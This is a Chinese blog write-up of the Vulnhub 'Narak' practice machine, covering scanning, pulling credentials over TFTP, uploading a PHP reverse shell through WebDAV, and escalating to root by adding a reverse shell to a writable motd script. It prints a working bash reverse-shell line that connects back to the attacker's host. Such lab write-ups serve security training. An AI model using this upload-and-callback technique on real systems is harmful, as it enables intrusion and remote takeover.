靶机渗透之narak

本文详细描述了在Vulnhub靶机上进行渗透测试的过程,包括信息收集、端口扫描、漏洞分析、利用TFTP找到隐藏的creds.txt,通过webdav漏洞上传反弹shell,以及利用脑筋急转弯式的密码提权。
摘要由CSDN通过智能技术生成

 对于vulnhub中的靶机,我们都需先下载镜像,然后导入VM,并将网络连接改为NAT模式。首先我们再来看一下靶机渗透的步骤:信息收集-漏洞分析-漏洞利用-提权。基本都是这四个步骤,接下来开始我们今天的靶机渗透吧 !

信息收集

主机发现

端口扫描

有SSH服务。后续可以实现远程登陆

目录扫描

漏洞扫描

总结一下扫描结果:

扫描结果显示了开放的端口以及相关的服务。

端口22/tcp是开放的,表示SSH服务在该端口上运行。

端口80/tcp也是开放的,表示HTTP服务在该端口上运行。

此外,扫描还提供了一些有关HTTP服务的信息:

_http-stored-xss: 未发现存储型XSS漏洞。

_http-internal-ip-disclosure: 发现了内部IP泄露,IP地址为127.0.1.1。

_http-dombased-xss: 未发现基于DOM的XSS漏洞。

_http-csrf: 发现了一些可能存在CSRF(跨站请求伪造)漏洞的路径和表单信息。其中,路径为http://192.168.11.163:80/,表单action为images/666.jpg。

_http-enum: 扫描发现了一些可能有趣的目录和文件,如/images/(具有Apache/2.4.29 (Ubuntu)服务器的目录列表)和/webdav/(需要身份验证的目录)

 漏洞分析

打开登陆页面:192.168.11.163

没有什么发现。再登陆一下刚刚扫描的目录

需要用户名及密码,现在目标就是寻找websav目录的凭据了。我们信息收集仅仅爆破了目录,其中文件没有爆破。接下来我们爆破一下文件,看看能否发现什么关键线索。这里我们使用gobuser工具。-w后跟词表的路径。-x参数后添加一些后缀名,包含可能的文件,比如rar/zip/txt/php等。-u后跟靶机ip地址。

其中有index.html和tips.txt请求已经成功。其中index.html就是初始页面,所以我们就来看一下tips.txt。那么用kali使用curl访问一下

提示我们通往narak的门的线索可以在creds.txt找到,但是creds.txt在哪里呢?难道也是在web目录可以直接访问的吗?但是我们已经看了爆破出来的目录和文件,这个又在哪里呢?是不是在信息收集部分中漏掉了什么重要信息呢?莫非是nmap端口扫描的结果有误或者遗漏了什么?比如有可能遗漏了某些开放的UDP端口。

先来探测一些比较常见的UDP端口是否开放。其中"--top-ports 20":这个选项指定只扫描前20个常用端口。

发现了tftp端口69开放,这是一个简单文件传输协议,用于在计算机网络中进行文件传输。与FTP协议不同的是,TFTP传输文件时不需要用户进行登录。它只能从文件服务器上下载或上传文件,不能列出目录。用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。

那我们试试使用tftp协议,从靶机下载creds.txt。

漏洞利用

直接用tftp后接靶机地址即可连接靶机,

使用get creds.txt这个命令将他下载下来,我们输入quit退出tftp,然后查看这个creds.txt,貌似是个base64编码,我们解码一下

成功拿到了用户名及密码。这也可能是webdav目录的访问凭据!

回到webdav页面:输入用户名yamdoot,密码Swarg,可以进入到如下的页面

进来之后可以看到WebDAV,WebDAV 基于 HTTP 协议的通信协议,允许客户端发布、锁定和管理 Web 上的资源,那么我们现在就是企图获取webdav的权限,据此拿到初始shell。

davtest是一个文件上传漏洞的检测和验证工具,而cadaver作为一个命令行形式的WEBDAV客户端程序,可以对相应服务器进行任何操作

此时kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限,可以看到上传的文件类型如下:

基本上都可以上传,再看一下执行权限:

发现是可以执行php文件的,因此我们可以尝试上传php类型的反弹shell,先编写一个shell.php,这里ip写的是kali的。

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.11.128/1234 0>&1'"); ?>

然后再利用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver:

回到浏览器,可以看到我们上传的shell,那个DavTestDir_是我们刚刚用testdav工具尝试上传的目录:

此时我们开启nc监听1234端口,然后访问shell.php,即可触发反弹shell 

提权

先用sudo -l查看有什么可以利用的二进制文件

我们需要寻找有没有一些ssh登录的凭据或是可以利用的提权文件,最终通过查找可写的文件发现了一些端倪:

发现了一个可编辑的bash脚本hell.sh,还有一个users.password,除此之外还有一些update-motd.d下的文件,先来查看这个user.password,如下:

这个是我们前面找到的webdav的登录凭据,不是我们要找的ssh凭据。查看hell.sh:

看到一行奇怪的文字,是一种叫brainfuck的编程语言,用beef工具进行解释

这很可能是ssh的一个密码,那么是哪个用户名呢?我们可以查看/etc/passwd,寻找哪些账户有shell环境:

 可以发现有narak,yamdoot,inferno三个用户,依次尝试一下就可以发现chitragupt是用户inferno的ssh密码,连接一下

先查看inferno这个用户当前目录有啥,看到有一个user.txt,打开看看,找到第一个flag

下面的目标就是提权到root了。sudo -l也是此路不通

我们尝试利用一些root高权限的工具/可执行文件/脚本等实现提权。最终发现了一些能够利用的具有可写权限的文件:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

我们先进入/etc/update-motd.d/,然后查看相关文件的权限:

MOTD(Message of the Day)是Linux系统登录时显示的一段信息,我们要重点关注00-header,这是linux在登录时会运行的显示欢迎信息的脚本,可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell,我们先查看一下这个文档:

然后我们通过vi工具编辑,或通过echo追加的方式,在其中添加反弹shell代码:

 然后在kali中nc监听4444端口,发现提权成功

切换到root目录下,看到root.txt,找到第二个flag

总结

在这次靶机渗透过程中,走到漏洞分析阶段路就断了,发现在信息收集部分可能遗漏掉一些重要信息,最后又重点扫描了一些常见的UDP端口,最后扫出来了一个69端口。然后就利用这个服务找到了一个用户名及其密码,成功访问webdav。然后使用davtest测试webdav可以上传和执行哪些文件,发现可以上传并执行php,利用cadaver客户端上传反弹shell的php文件并访问shell.php,然后通过寻找敏感文件初步提权,找到brainfuck代码,用beef工具解码,发现了用户名inferno的ssh密码。最后就利用可写文件进行提权,在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell。这就是整个靶机渗透的过程!如有问题,希望大家来评论区帮忙指出。

  • 30
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值